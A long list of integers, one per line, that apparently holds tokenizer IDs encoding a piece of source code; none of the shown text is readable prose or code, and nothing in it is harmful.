29918,
5563,
29889,
13609,
3101,
13,
1678,
3233,
29918,
2704,
353,
7700,
13,
13,
1678,
565,
451,
3233,
29901,
13,
4706,
396,
9055,
12183,
1059,
1048,
4439,
15628,
1480,
3233,
2745,
1156,
12183,
338,
13252,
13,
4706,
3233,
29918,
2704,
353,
5852,
13,
4706,
3233,
353,
12183,
29889,
11690,
13,
13,
1678,
4236,
29918,
13193,
353,
2295,
29889,
657,
524,
29898,
25903,
29918,
1660,
9838,
29892,
525,
21027,
29918,
3317,
29918,
13193,
1495,
13,
1678,
934,
29918,
2798,
353,
2295,
29889,
657,
524,
29898,
25903,
29918,
1660,
9838,
29892,
525,
21027,
29918,
1445,
29918,
2798,
1495,
13,
13,
1678,
7834,
353,
9664,
1218,
2283,
4598,
29898,
359,
29889,
2084,
29889,
7122,
29898,
1188,
29918,
3972,
29892,
25401,
29918,
7724,
511,
4236,
11207,
29922,
3317,
29918,
13193,
29892,
16199,
3981,
29922,
1445,
29918,
2798,
29897,
13,
1678,
7834,
29889,
842,
18522,
29898,
21027,
29889,
18522,
29898,
23479,
2433,
29995,
29898,
294,
312,
603,
29897,
29879,
448,
1273,
29898,
5563,
978,
29897,
29879,
448,
1273,
29898,
4906,
29897,
29879,
8785,
13,
13,
1678,
17927,
353,
12183,
29889,
657,
16363,
580,
13,
1678,
17927,
29889,
842,
10108,
29898,
5563,
29897,
13,
1678,
17927,
29889,
1202,
4598,
29898,
13789,
29897,
13,
13,
1678,
565,
3233,
29918,
2704,
29901,
13,
4706,
12183,
29889,
2704,
877,
22995,
15628,
12183,
3233,
11860,
29879,
613,
4444,
12183,
3233,
304,
1273,
29879,
742,
10650,
29918,
5563,
29892,
3233,
29897,
13,
13,
13,
1753,
679,
29918,
29881,
1983,
29918,
978,
29898,
2917,
29892,
18920,
29918,
333,
1125,
13,
1678,
822,
903,
15480,
29918,
3445,
9552,
29918,
2671,
29918,
2798,
29898,
4830,
29918,
710,
29892,
3806,
29918,
312,
1125,
13,
4706,
565,
3402,
29918,
710,
29889,
2798,
877,
29912,
1495,
2804,
3806,
29918,
312,
470,
3402,
29918,
710,
29889,
2798,
877,
29913,
1495,
2804,
3806,
29918,
312,
29901,
13,
9651,
12020,
7865,
2392,
877,
29928,
3059,
1024,
3402,
756,
385,
10240,
1353,
310,
16920,
4235,
1495,
13,
13,
1678,
270,
1983,
29918,
978,
29918,
4830,
353,
2295,
29889,
657,
29898,
25903,
29918,
1660,
9838,
29892,
525,
29881,
1983,
29918,
978,
29918,
4830,
1495,
13,
13,
1678,
565,
22372,
5847,
29918,
333,
10162,
451,
297,
270,
1983,
29918,
978,
29918,
4830,
29901,
13,
4706,
12020,
7865,
2392,
877,
29928,
3059,
1024,
3402,
1818,
3160,
426,
5847,
29918,
333,
29913,
1495,
13,
13,
1678,
3402,
29918,
5085,
353,
11117,
5847,
29918,
333,
2396,
18920,
29918,
333,
29913,
13,
13,
1678,
3806,
29918,
3445,
9552,
29918,
2671,
29918,
312,
353,
29871,
29896,
13,
13,
1678,
565,
22372,
12803,
10162,
297,
270,
1983,
29918,
978,
29918,
4830,
29901,
13,
4706,
3806,
29918,
3445,
9552,
29918,
2671,
29918,
312,
4619,
29871,
29896,
13,
4706,
3402,
29918,
5085,
1839,
12803,
2033,
353,
679,
29918,
5182,
29918,
12803,
29898,
2917,
29897,
13,
13,
1678,
565,
22372,
29881,
1983,
29918,
978,
29918,
2146,
600,
861,
10162,
297,
270,
1983,
29918,
978,
29918,
4830,
29901,
13,
4706,
3806,
29918,
3445,
9552,
29918,
2671,
29918,
312,
4619,
29871,
29896,
13,
4706,
2295,
29918,
2042,
353,
8707,
18667,
29918,
1660,
9838,
13,
4706,
5120,
353,
3402,
29918,
5085,
29889,
657,
877,
12803,
1495,
13,
13,
4706,
565,
5120,
29901,
13,
9651,
5120,
29918,
14940,
29918,
2917,
29918,
2042,
353,
14210,
29879,
29889,
29995,
29879,
29915,
1273,
313,
25903,
29918,
1660,
9838,
29892,
5120,
29897,
13,
9651,
565,
2295,
29889,
5349,
29918,
2042,
29898,
12803,
29918,
14940,
29918,
2917,
29918,
2042,
1125,
13,
18884,
2295,
29918,
2042,
353,
5120,
29918,
14940,
29918,
2917,
29918,
2042,
13,
13,
4706,
3402,
29918,
5085,
1839,
29881,
1983,
29918,
978,
29918,
2146,
600,
861,
2033,
353,
2295,
29889,
657,
29898,
2917,
29918,
2042,
29892,
525,
29881,
1983,
29918,
978,
29918,
2146,
600,
861,
1495,
13,
13,
4706,
12183,
29889,
8382,
703,
15156,
270,
1983,
29918,
978,
29918,
2146,
600,
861,
1273,
29879,
297,
2295,
4004,
518,
29995,
29879,
29962,
613,
3402,
29918,
5085,
29889,
657,
877,
29881,
1983,
29918,
978,
29918,
2146,
600,
861,
5477,
2295,
29918,
2042,
29897,
13,
13,
1678,
903,
15480,
29918,
3445,
9552,
29918,
2671,
29918,
2798,
29898,
29881,
1983,
29918,
978,
29918,
4830,
29892,
3806,
29918,
3445,
9552,
29918,
2671,
29918,
312,
29897,
13,
13,
1678,
270,
1983,
29918,
978,
353,
270,
1983,
29918,
978,
29918,
4830,
29889,
4830,
29898,
1068,
4830,
29918,
5085,
29897,
13,
13,
1678,
1018,
29901,
13,
4706,
9909,
29889,
29887,
621,
520,
29890,
948,
420,
29898,
29881,
1983,
29918,
978,
29897,
13,
1678,
5174,
9909,
29889,
3249,
631,
729,
29901,
13,
4706,
18409,
29918,
2704,
877,
17776,
304,
8814,
11860,
29879,
29908,
448,
1423,
393,
596,
934,
1788,
3553,
338,
1959,
7790,
29876,
13393,
1273,
29879,
363,
901,
9493,
6169,
13,
462,
1678,
1273,
313,
29881,
1983,
29918,
978,
29892,
525,
991,
597,
2640,
29889,
10467,
29889,
17260,
29889,
510,
29914,
11058,
29914,
1389,
29879,
29914,
16476,
29899,
29881,
1983,
29899,
978,
5477,
13,
462,
1678,
525,
17776,
304,
8814,
11860,
29879,
29908,
29915,
1273,
270,
1983,
29918,
978,
29897,
13,
13,
1678,
736,
270,
1983,
29918,
978,
13,
13,
13,
1753,
260,
3137,
29918,
24772,
29918,
27126,
29898,
16476,
29918,
978,
29892,
2967,
29918,
2084,
29922,
19713,
29918,
7724,
29918,
9464,
1125,
13,
1678,
260,
3137,
29918,
8977,
353,
426,
13,
4706,
525,
16476,
29918,
3972,
2396,
2897,
29889,
2084,
29889,
7122,
29898,
3188,
29918,
2084,
29892,
5766,
29918,
978,
511,
13,
4706,
396,
1432,
5766,
674,
505,
967,
1914,
5777,
4464,
21608,
2861,
304,
10225,
310,
2473,
29899,
7097,
292,
2304,
297,
13246,
2536,
13,
4706,
525,
9803,
29918,
3972,
2396,
2897,
29889,
2084,
29889,
7122,
29898,
3188,
29918,
2084,
29892,
5766,
29918,
978,
29892,
525,
9803,
5477,
13,
4706,
525,
6327,
29879,
29918,
3972,
2396,
2897,
29889,
2084,
29889,
7122,
29898,
3188,
29918,
2084,
29892,
5766,
29918,
978,
29892,
525,
6327,
29879,
5477,
13,
4706,
525,
2248,
2396,
2897,
29889,
2084,
29889,
7122,
29898,
3188,
29918,
2084,
29892,
5766,
29918,
978,
29892,
525,
9803,
29914,
2248,
29889,
3945,
5477,
13,
4706,
525,
2248,
29918,
5552,
2396,
2897,
29889,
2084,
29889,
7122,
29898,
3188,
29918,
2084,
29892,
5766,
29918,
978,
29892,
525,
9803,
29914,
2248,
29889,
3945,
29889,
5552,
5477,
13,
4706,
525,
15550,
2396,
2897,
29889,
2084,
29889,
7122,
29898,
3188,
29918,
2084,
29892,
5766,
29918,
978,
29892,
525,
9803,
29914,
15550,
5477,
13,
4706,
525,
9502,
2396,
2897,
29889,
2084,
29889,
7122,
29898,
3188,
29918,
2084,
29892,
5766,
29918,
978,
29892,
525,
9803,
6294,
9502,
1495,
13,
1678,
500,
13,
13,
1678,
736,
260,
3137,
29918,
8977,
13,
13,
13,
1753,
679,
29918,
3597,
29918,
1989,
29918,
17051,
29896,
29898,
3597,
29918,
1989,
1125,
13,
1678,
396,
21022,
1218,
970,
1820,
304,
3349,
278,
4839,
322,
24166,
525,
807,
17722,
29933,
17958,
29989,
11794,
29897,
349,
7466,
27888,
14636,
23648,
29915,
13,
1678,
411,
1722,
29898,
3597,
29918,
1989,
29892,
525,
29878,
1495,
408,
285,
29901,
13,
4706,
3454,
353,
285,
29889,
949,
9012,
580,
13,
4706,
3454,
353,
3454,
29961,
29896,
13018,
29896,
29962,
13,
13,
1678,
1820,
353,
525,
4286,
7122,
29898,
9012,
29897,
13,
1678,
1820,
353,
7023,
2378,
29898,
3188,
29953,
29946,
29889,
29890,
29953,
29946,
13808,
29898,
1989,
876,
13,
13,
1678,
396,
20969,
278,
970,
1820,
304,
8206,
714,
278,
3935,
1820,
5518,
491,
3063,
363,
278,
1820,
350,
1806,
29486,
4214,
13,
1678,
396,
8741,
29901,
13,
1678,
396,
418,
29900,
29901,
29881,
29922,
29900,
29871,
298,
29880,
29922,
29946,
301,
29922,
29871,
29946,
29896,
29947,
1136,
29901,
3725,
13356,
1430,
4741,
13,
1678,
396,
418,
29946,
29901,
29881,
29922,
29896,
29871,
298,
29880,
29922,
29906,
301,
29922,
259,
29896,
29941,
1136,
29901,
3725,
13356,
1430,
4741,
13,
1678,
396,
418,
29953,
29901,
29881,
29922,
29906,
29871,
298,
29880,
29922,
29906,
301,
29922,
1678,
29929,
1903,
29901,
438,
29933,
17637,
9651,
584,
2288,
29874,
8566,
14272,
13,
1678,
396,
268,
29896,
29955,
29901,
29881,
29922,
29906,
29871,
298,
29880,
29922,
29906,
301,
29922,
1678,
29900,
1903,
29901,
4265,
13,
1678,
396,
268,
29896,
29929,
29901,
29881,
29922,
29896,
29871,
298,
29880,
29922,
29946,
301,
29922,
29871,
29941,
29929,
29929,
1903,
29901,
350,
1806,
29486,
4214,
13,
1678,
9920,
353,
525,
22156,
2536,
408,
29876,
29896,
5510,
448,
262,
689,
349,
12665,
448,
262,
1273,
29879,
29915,
1273,
970,
29918,
1989,
13,
1678,
1962,
29892,
4589,
353,
1014,
5014,
29918,
4804,
29898,
9006,
29892,
525,
2525,
519,
304,
3339,
29940,
29896,
6088,
970,
1820,
934,
29892,
1273,
29879,
29892,
5149,
29915,
1273,
970,
29918,
1989,
29897,
13,
13,
1678,
1820,
29918,
1220,
353,
6629,
13,
1678,
363,
1196,
297,
1962,
29889,
5451,
9012,
7295,
13,
4706,
565,
525,
22698,
29486,
4214,
29915,
297,
1196,
29889,
13808,
877,
9420,
29899,
29947,
29374,
13,
9651,
1820,
29918,
1220,
353,
1196,
29889,
13808,
877,
9420,
29899,
29947,
1495,
13,
13,
1678,
565,
451,
1820,
29918,
1220,
29901,
13,
4706,
4589,
29918,
7645,
353,
525,
19858,
1820,
934,
29892,
1273,
29879,
29892,
338,
29676,
20917,
29915,
1273,
970,
29918,
1989,
13,
4706,
18409,
29918,
2704,
29898,
3127,
29918,
7645,
29892,
4589,
29918,
7645,
29897,
13,
13,
1678,
1820,
29918,
1220,
353,
1820,
29918,
1220,
29889,
6506,
877,
13420,
27255,
13,
13,
1678,
396,
360,
1001,
8025,
323,
29931,
29963,
313,
8176,
29892,
365,
1477,
29892,
7865,
29897,
13,
1678,
396,
448,
278,
937,
4725,
300,
313,
10389,
29897,
338,
278,
4055,
313,
1853,
29897,
13,
1678,
396,
448,
278,
2446,
4725,
1691,
526,
278,
3309,
448,
376,
25476,
568,
883,
29908,
13,
1678,
396,
259,
448,
278,
937,
4725,
300,
2337,
756,
278,
1880,
1797,
2586,
313,
29947,
29897,
731,
304,
29871,
29896,
13,
1678,
396,
259,
448,
278,
9886,
29871,
29896,
29906,
29955,
9978,
526,
1304,
304,
19750,
278,
1353,
310,
4725,
1691,
393,
1101,
13,
1678,
396,
259,
448,
278,
1494,
4725,
1691,
19750,
29892,
408,
4802,
29899,
355,
713,
29892,
278,
3309,
313,
4716,
1122,
367,
29871,
29900,
29897,
408,
263,
1353,
310,
4725,
1691,
13,
1678,
396,
448,
278,
9886,
4725,
1691,
526,
278,
376,
1767,
29908,
263,
1335,
2793,
13,
1678,
396,
13,
1678,
396,
1152,
263,
350,
1806,
29486,
4214,
29892,
278,
937,
4725,
300,
310,
278,
995,
338,
1304,
304,
1804,
1598,
278,
1353,
310,
443,
3880,
9978,
393,
1863,
297,
278,
1833,
13,
1678,
396,
2793,
7023,
29889,
3940,
393,
445,
338,
9479,
429,
13347,
515,
278,
3323,
622,
2558,
12889,
6608,
29892,
639,
13,
1678,
396,
2045,
597,
8504,
29889,
2035,
29888,
29889,
990,
29914,
1420,
29914,
9600,
29883,
29945,
29906,
29947,
29900,
29937,
2042,
29899,
29946,
29889,
29906,
29889,
29896,
29889,
29906,
13,
1678,
396,
13,
1678,
396,
8741,
29901,
13,
1678,
396,
1678,
29900,
29941,
29947,
29906,
29900,
29896,
29947,
29888,
29900,
29900,
856,
29966,
16009,
19858,
2558,
29958,
13,
1678,
396,
259,
448,
29871,
29900,
29941,
448,
350,
1806,
29486,
4214,
4055,
13,
1678,
396,
259,
448,
29871,
29947,
29906,
448,
29871,
29906,
3309,
4725,
1691,
304,
1101,
313,
17281,
1880,
1797,
2586,
29897,
13,
1678,
396,
259,
448,
29871,
29900,
29896,
29947,
29888,
448,
3309,
310,
29871,
29941,
29929,
29929,
13,
1678,
396,
259,
448,
29871,
29900,
29900,
448,
694,
443,
3880,
9978,
297,
278,
1833,
2793,
7023,
13,
1678,
9210,
353,
938,
29898,
1989,
29918,
1220,
29889,
5451,
877,
29901,
29861,
29900,
2314,
13,
1678,
1820,
353,
1820,
29961,
10289,
17531,
13,
13,
1678,
954,
29918,
2848,
29918,
20082,
1691,
353,
1820,
29961,
29896,
29962,
669,
29871,
29900,
29890,
29900,
29896,
29896,
29896,
29896,
29896,
29896,
29896,
13,
13,
1678,
396,
1222,
2325,
278,
4055,
313,
29896,
511,
3309,
313,
29896,
718,
954,
29918,
2848,
29918,
20082,
1691,
511,
322,
1353,
310,
443,
3880,
9978,
313,
29896,
29897,
13,
1678,
9210,
353,
29871,
29896,
718,
29871,
29896,
718,
954,
29918,
2848,
29918,
20082,
1691,
718,
29871,
29896,
13,
1678,
1820,
353,
1820,
29961,
10289,
17531,
13,
13,
1678,
528,
29874,
29896,
353,
6608,
1982,
29889,
17051,
29896,
580,
13,
1678,
528,
29874,
29896,
29889,
5504,
29898,
1989,
29897,
13,
13,
1678,
736,
528,
29874,
29896,
29889,
20970,
7501,
342,
580,
13,
13,
13,
1753,
1653,
29918,
3068,
265,
936,
29918,
3827,
29898,
3597,
29918,
1989,
29918,
8568,
29892,
2635,
29892,
2130,
29918,
1989,
29892,
5120,
29892,
18920,
29918,
333,
29892,
4867,
29918,
6979,
29922,
8516,
1125,
13,
1678,
9995,
13,
1678,
6204,
263,
1815,
265,
936,
10729,
448,
2045,
597,
2640,
29889,
10467,
29889,
17260,
29889,
510,
29914,
17492,
29914,
12333,
29914,
629,
29914,
18816,
29894,
29946,
29899,
3258,
29899,
3068,
265,
936,
29899,
3827,
29889,
1420,
13,
1678,
9995,
13,
1678,
20917,
29918,
12673,
353,
2635,
29889,
710,
615,
603,
29898,
5425,
22928,
29946,
29918,
25832,
2544,
8890,
29918,
19094,
1299,
29897,
13,
1678,
6625,
2556,
353,
14978,
29918,
11242,
29898,
5943,
29918,
1989,
718,
8207,
29915,
718,
679,
29918,
11944,
2556,
29918,
6078,
29898,
1256,
29892,
5120,
876,
13,
13,
1678,
2009,
353,
7331,
29918,
16244,
29918,
2303,
4690,
13668,
718,
11297,
29876,
29915,
13,
1678,
2009,
4619,
315,
2190,
1164,
2965,
1964,
29918,
15551,
718,
11297,
29876,
29915,
13,
1678,
2009,
4619,
1653,
29918,
3068,
265,
936,
29918,
1972,
29918,
1807,
29898,
3597,
29918,
1989,
29918,
8568,
29892,
6625,
2556,
29892,
20917,
29918,
12673,
29892,
4867,
29918,
6979,
29897,
718,
11297,
29876,
29915,
13,
1678,
2009,
4619,
315,
2190,
1164,
2965,
1964,
29918,
23252,
23598,
1273,
18920,
29918,
333,
718,
11297,
29876,
29915,
13,
1678,
2009,
4619,
317,
17298,
3352,
29918,
23252,
23598,
718,
11297,
29876,
29915,
13,
13,
1678,
528,
29874,
29906,
29945,
29953,
353,
6608,
1982,
29889,
17051,
29906,
29945,
29953,
580,
13,
1678,
528,
29874,
29906,
29945,
29953,
29889,
5504,
29898,
16244,
29918,
7228,
29979,
29428,
29889,
12508,
3101,
13,
1678,
2009,
4619,
528,
29874,
29906,
29945,
29953,
29889,
20970,
7501,
342,
580,
13,
13,
1678,
736,
2009,
13,
13,
13,
1753,
1653,
29918,
3068,
265,
936,
29918,
1972,
29918,
1807,
29898,
3597,
29918,
1989,
29918,
8568,
29892,
6625,
2556,
29892,
20917,
29918,
12673,
29892,
4867,
29918,
6979,
29922,
8516,
1125,
13,
1678,
24420,
29918,
1972,
29918,
7529,
353,
426,
13,
4706,
525,
4276,
2396,
525,
17918,
742,
13,
4706,
396,
5236,
1820,
6608,
338,
5134,
297,
24420,
2009,
304,
22134,
278,
12608,
304,
263,
2702,
1820,
5101,
304,
4772,
337,
1456,
16661,
13,
4706,
525,
19858,
2558,
10438,
2396,
14978,
29918,
11242,
29898,
3597,
29918,
1989,
29918,
8568,
511,
13,
4706,
525,
29990,
29899,
6833,
29920,
29899,
22461,
4540,
2396,
14445,
29954,
1955,
13054,
29924,
29892,
13,
4706,
525,
29990,
29899,
6833,
29920,
29899,
15507,
2556,
2396,
6625,
2556,
29892,
13,
4706,
525,
29990,
29899,
6833,
29920,
29899,
2539,
2396,
14978,
29918,
11242,
29898,
689,
19667,
29918,
12673,
511,
13,
4706,
525,
29990,
29899,
6833,
29920,
29899,
9544,
2658,
2396,
29871,
29947,
29953,
29946,
29900,
29900,
29892,
13,
4706,
525,
29990,
29899,
6833,
29920,
29899,
10140,
287,
18163,
2396,
317,
17298,
3352,
29918,
23252,
23598,
29892,
13,
1678,
500,
13,
13,
1678,
565,
4867,
29918,
6979,
29901,
13,
4706,
24420,
29918,
1972,
29918,
7529,
1839,
29990,
29899,
6833,
29920,
29899,
13228,
29899,
6066,
2033,
353,
14978,
29918,
11242,
29898,
7924,
29918,
6979,
29897,
13,
13,
1678,
396,
15808,
671,
3142,
1982,
29889,
2271,
12508,
1363,
372,
1634,
6048,
278,
1273,
29879,
29915,
29879,
13,
1678,
736,
525,
29987,
4286,
7122,
18959,
29995,
29879,
16328,
29879,
29915,
1273,
313,
29895,
29892,
325,
29897,
363,
413,
29892,
325,
297,
12705,
29898,
3068,
265,
936,
29918,
1972,
29918,
7529,
29889,
7076,
3101,
2314,
13,
13,
13,
1753,
1653,
29918,
1807,
29918,
517,
29918,
4530,
29898,
3068,
265,
936,
29918,
3827,
29892,
2635,
29892,
5120,
1125,
13,
1678,
9995,
13,
1678,
6204,
263,
1714,
304,
9954,
448,
2045,
597,
2640,
29889,
10467,
29889,
17260,
29889,
510,
29914,
17492,
29914,
12333,
29914,
629,
29914,
18816,
29894,
29946,
29899,
3258,
29899,
1807,
29899,
517,
29899,
4530,
29889,
1420,
13,
1678,
9995,
13,
1678,
1347,
29918,
517,
29918,
4530,
353,
14445,
29954,
1955,
13054,
29924,
718,
11297,
29876,
29915,
13,
1678,
1347,
29918,
517,
29918,
4530,
4619,
2635,
29889,
710,
615,
603,
29898,
5425,
22928,
29946,
29918,
25832,
2544,
8890,
29918,
19094,
1299,
29897,
718,
11297,
29876,
29915,
13,
1678,
1347,
29918,
517,
29918,
4530,
4619,
679,
29918,
11944,
2556,
29918,
6078,
29898,
1256,
29892,
5120,
29897,
718,
11297,
29876,
29915,
13,
13,
1678,
528,
29874,
29906,
29945,
29953,
353,
6608,
1982,
29889,
17051,
29906,
29945,
29953,
580,
13,
1678,
528,
29874,
29906,
29945,
29953,
29889,
5504,
29898,
3068,
265,
936,
29918,
3827,
29889,
12508,
3101,
13,
1678,
1347,
29918,
517,
29918,
4530,
4619,
528,
29874,
29906,
29945,
29953,
29889,
20970,
7501,
342,
580,
13,
13,
1678,
736,
1347,
29918,
517,
29918,
4530,
13,
13,
13,
1753,
8147,
29918,
4530,
1535,
29898,
1807,
29918,
517,
29918,
4530,
29892,
2635,
29892,
7035,
29918,
5943,
29918,
1989,
29892,
5120,
1125,
13,
1678,
9995,
13,
1678,
20535,
403,
278,
9954,
1535,
448,
2045,
597,
2640,
29889,
10467,
29889,
17260,
29889,
510,
29914,
17492,
29914,
12333,
29914,
629,
29914,
18816,
29894,
29946,
29899,
15807,
403,
29899,
4530,
1535,
29889,
1420,
13,
1678,
9995,
13,
1678,
822,
903,
4530,
29898,
1989,
29892,
10191,
1125,
13,
4706,
736,
298,
8628,
29889,
1482,
29898,
1989,
29892,
10191,
29889,
12508,
877,
9420,
29899,
29947,
5477,
6608,
1982,
29889,
17051,
29906,
29945,
29953,
29897,
13,
13,
1678,
1820,
29918,
1256,
353,
903,
4530,
29898,
877,
29909,
7811,
29946,
29915,
718,
7035,
29918,
5943,
29918,
1989,
467,
12508,
877,
9420,
29899,
29947,
5477,
2635,
29889,
710,
615,
603,
29898,
6248,
29918,
1164,
16786,
29918,
19094,
1299,
8106,
7501,
342,
580,
13,
1678,
788,
29918,
12803,
353,
903,
4530,
29898,
1989,
29918,
1256,
29892,
5120,
467,
7501,
342,
580,
13,
1678,
788,
29918,
5509,
353,
903,
4530,
29898,
1202,
29918,
12803,
29892,
26996,
19059,
467,
7501,
342,
580,
13,
1678,
26188,
29918,
1989,
353,
903,
4530,
29898,
1202,
29918,
5509,
29892,
525,
10467,
29946,
29918,
3827,
2824,
7501,
342,
580,
13,
13,
1678,
736,
903,
4530,
29898,
4530,
292,
29918,
1989,
29892,
1347,
29918,
517,
29918,
4530,
467,
20970,
7501,
342,
580,
13,
13,
13,
1753,
679,
29918,
11944,
2556,
29918,
6078,
29898,
1256,
29892,
5120,
1125,
13,
1678,
736,
8207,
4286,
7122,
4197,
1256,
29889,
710,
615,
603,
29898,
6248,
29918,
1164,
16786,
29918,
19094,
1299,
511,
5120,
29892,
26996,
19059,
29892,
15540,
29946,
29918,
16244,
2314,
13,
13,
13,
1753,
1993,
29918,
10141,
29898,
2917,
29892,
4742,
1125,
13,
1678,
9995,
11609,
278,
382,
9998,
1178,
322,
278,
7592,
2224,
304,
5766,
15945,
29908,
13,
13,
1678,
1018,
29901,
13,
4706,
7592,
29892,
2224,
353,
4742,
29889,
5451,
877,
29901,
742,
29871,
29896,
29897,
13,
1678,
5174,
7865,
2392,
29901,
13,
4706,
7592,
353,
4742,
13,
4706,
2224,
353,
8207,
29915,
13,
13,
1678,
565,
383,
29903,
29918,
1367,
29918,
1525,
29889,
4352,
29898,
16674,
1125,
13,
4706,
736,
7592,
29892,
2224,
13,
13,
1678,
1018,
29901,
13,
4706,
7601,
29892,
1473,
4314,
29892,
903,
353,
9909,
29889,
29887,
621,
520,
29890,
948,
420,
29918,
735,
29898,
16674,
29897,
13,
4706,
3495,
7039,
353,
1051,
29898,
4572,
29898,
2892,
321,
29901,
321,
338,
451,
6213,
29892,
518,
16072,
29962,
718,
1473,
4314,
876,
13,
1678,
5174,
9909,
29889,
3249,
631,
729,
29901,
13,
4706,
1653,
29918,
4381,
29918,
9274,
12344,
1188,
29918,
14748,
29918,
361,
29918,
1333,
29918,
28997,
29898,
2917,
29897,
13,
4706,
18409,
29918,
2704,
29898,
13,
9651,
525,
17776,
304,
8814,
11860,
29879,
29908,
448,
1423,
393,
278,
6790,
16332,
1024,
338,
263,
315,
5813,
2407,
3770,
1747,
304,
263,
2854,
382,
9998,
16332,
525,
13,
9651,
525,
978,
29915,
1273,
7592,
29892,
13,
9651,
525,
17776,
304,
8814,
11860,
29879,
29908,
29915,
1273,
7592,
13,
4706,
1723,
13,
13,
1678,
565,
451,
3495,
7039,
29901,
13,
4706,
1653,
29918,
4381,
29918,
9274,
12344,
1188,
29918,
14748,
29918,
361,
29918,
1333,
29918,
28997,
29898,
2917,
29897,
13,
4706,
18409,
29918,
2704,
29898,
13,
9651,
525,
1576,
6790,
5354,
1024,
11860,
29879,
29908,
1258,
451,
8814,
304,
385,
382,
9998,
5766,
3646,
29915,
1273,
7592,
13,
4706,
1723,
13,
13,
1678,
363,
3495,
978,
297,
3495,
7039,
29901,
13,
4706,
321,
5847,
29918,
29888,
29939,
5200,
29918,
4352,
353,
382,
9998,
29918,
29943,
29984,
28307,
29918,
1525,
29889,
4352,
29898,
28988,
29897,
13,
13,
4706,
565,
321,
5847,
29918,
29888,
29939,
5200,
29918,
4352,
29901,
13,
9651,
18920,
29918,
333,
353,
321,
5847,
29918,
29888,
29939,
5200,
29918,
4352,
29889,
2972,
877,
5847,
29918,
333,
1495,
13,
9651,
3806,
29918,
29881,
1983,
29918,
978,
353,
679,
29918,
29881,
1983,
29918,
978,
29898,
2917,
29892,
18920,
29918,
333,
29897,
13,
13,
9651,
396,
1423,
393,
278,
16332,
1024,
310,
278,
5766,
3646,
7087,
3721,
278,
16332,
1024,
278,
315,
5813,
3770,
1960,
304,
13,
9651,
565,
3495,
978,
1275,
3806,
29918,
29881,
1983,
29918,
978,
29901,
13,
18884,
736,
18920,
29918,
333,
29892,
2224,
13,
1678,
1683,
29901,
13,
4706,
1653,
29918,
4381,
29918,
9274,
12344,
1188,
29918,
14748,
29918,
361,
29918,
1333,
29918,
28997,
29898,
2917,
29897,
13,
4706,
18409,
29918,
2704,
877,
1576,
6790,
315,
5813,
11860,
29879,
29908,
1258,
451,
8814,
304,
263,
2854,
16332,
1024,
363,
385,
382,
9998,
5766,
3646,
29889,
525,
13,
462,
1678,
525,
12148,
2737,
304,
278,
382,
9998,
5106,
363,
5766,
292,
411,
16332,
2983,
363,
6455,
29901,
1273,
29879,
29915,
13,
462,
1678,
1273,
313,
16674,
29892,
525,
991,
597,
2640,
29889,
10467,
29889,
17260,
29889,
510,
29914,
1389,
29879,
29914,
12333,
29914,
688,
29914,
16476,
292,
29899,
5847,
29899,
16476,
29899,
9006,
29899,
29881,
1983,
29899,
978,
29889,
1420,
8785,
13,
13,
13,
1753,
338,
29918,
29876,
5847,
29918,
16476,
29898,
16476,
3149,
1125,
13,
1678,
9920,
353,
6024,
6112,
742,
17411,
29888,
742,
17411,
29931,
742,
17411,
29883,
742,
14210,
29911,
742,
5766,
3149,
29962,
13,
1678,
282,
353,
1014,
5014,
29889,
29925,
3150,
29898,
9006,
29892,
27591,
29922,
1491,
5014,
29889,
2227,
4162,
29892,
380,
20405,
29922,
1491,
5014,
29889,
2227,
4162,
29892,
3802,
29918,
29888,
6289,
29922,
5574,
29897,
13,
1678,
1962,
29892,
903,
353,
282,
29889,
27820,
403,
580,
13,
1678,
736,
1962,
322,
525,
29876,
5847,
29915,
297,
851,
29898,
4905,
29897,
13,
13,
13,
1753,
5766,
29918,
29873,
3137,
29898,
2917,
29892,
2069,
29918,
5205,
29892,
270,
1983,
29918,
978,
29892,
2224,
29892,
18920,
29918,
333,
29892,
5766,
3149,
29892,
3987,
1125,
13,
1678,
565,
2897,
29889,
2084,
29889,
1608,
792,
29898,
16476,
3149,
29897,
322,
338,
29918,
29876,
5847,
29918,
16476,
29898,
16476,
3149,
1125,
13,
4706,
10876,
29889,
25393,
29889,
3539,
11702,
29879,
338,
2307,
19239,
29892,
3113,
1065,
525,
16476,
29915,
1899,
304,
11539,
29905,
29876,
29908,
1273,
5766,
3149,
29897,
13,
4706,
12183,
29889,
27392,
11702,
29879,
338,
2307,
19239,
29892,
5766,
633,
18054,
29908,
1273,
5766,
3149,
29897,
13,
4706,
736,
13,
13,
1678,
411,
16087,
29918,
29873,
3137,
29898,
2917,
29892,
2069,
29918,
5205,
29892,
270,
1983,
29918,
978,
29892,
18920,
29918,
333,
29892,
5766,
3149,
29892,
3987,
29897,
408,
26086,
29918,
15439,
29901,
13,
4706,
5766,
29918,
5729,
9446,
353,
3244,
292,
29889,
2624,
580,
13,
4706,
260,
353,
3244,
292,
29889,
4899,
29898,
5182,
29922,
29886,
3028,
29918,
29873,
16163,
29918,
5014,
29892,
6389,
7607,
29873,
16163,
29918,
15439,
29892,
18920,
29918,
333,
29892,
5766,
29918,
5729,
9446,
876,
13,
4706,
260,
29889,
1388,
9857,
353,
5852,
13,
4706,
260,
29889,
2962,
580,
13,
4706,
5766,
29918,
29876,
5847,
29898,
29881,
1983,
29918,
978,
29892,
2224,
29892,
5766,
3149,
29892,
3987,
29897,
13,
4706,
5766,
29918,
5729,
9446,
29889,
842,
580,
13,
4706,
260,
29889,
7122,
580,
13,
13,
13,
1753,
1423,
29918,
348,
23765,
29918,
6768,
29898,
6768,
1125,
13,
1678,
363,
443,
23765,
29918,
3385,
297,
501,
3059,
4897,
15082,
3352,
29918,
14094,
27946,
29901,
13,
4706,
565,
443,
23765,
29918,
3385,
297,
3987,
29901,
13,
9651,
29383,
29918,
4906,
353,
525,
1576,
11860,
29879,
29908,
2984,
338,
451,
6969,
322,
756,
1063,
17262,
29892,
408,
19249,
29899,
1389,
29879,
29899,
13239,
337,
3687,
373,
263,
4240,
29899,
262,
525,
320,
13,
462,
965,
525,
509,
504,
3787,
6169,
1273,
443,
23765,
29918,
3385,
13,
9651,
10876,
29889,
303,
20405,
29889,
3539,
877,
29956,
15249,
29901,
1273,
29879,
29905,
29876,
29915,
1273,
29383,
29918,
4906,
29897,
13,
9651,
12183,
29889,
27392,
29898,
25442,
29918,
4906,
29897,
13,
9651,
628,
3987,
29961,
348,
23765,
29918,
3385,
29962,
13,
13,
13,
1753,
1423,
29918,
6768,
29918,
3084,
537,
29898,
6768,
1125,
13,
1678,
565,
525,
29873,
3137,
29915,
297,
3987,
29901,
13,
4706,
565,
525,
637,
29915,
297,
3987,
29901,
13,
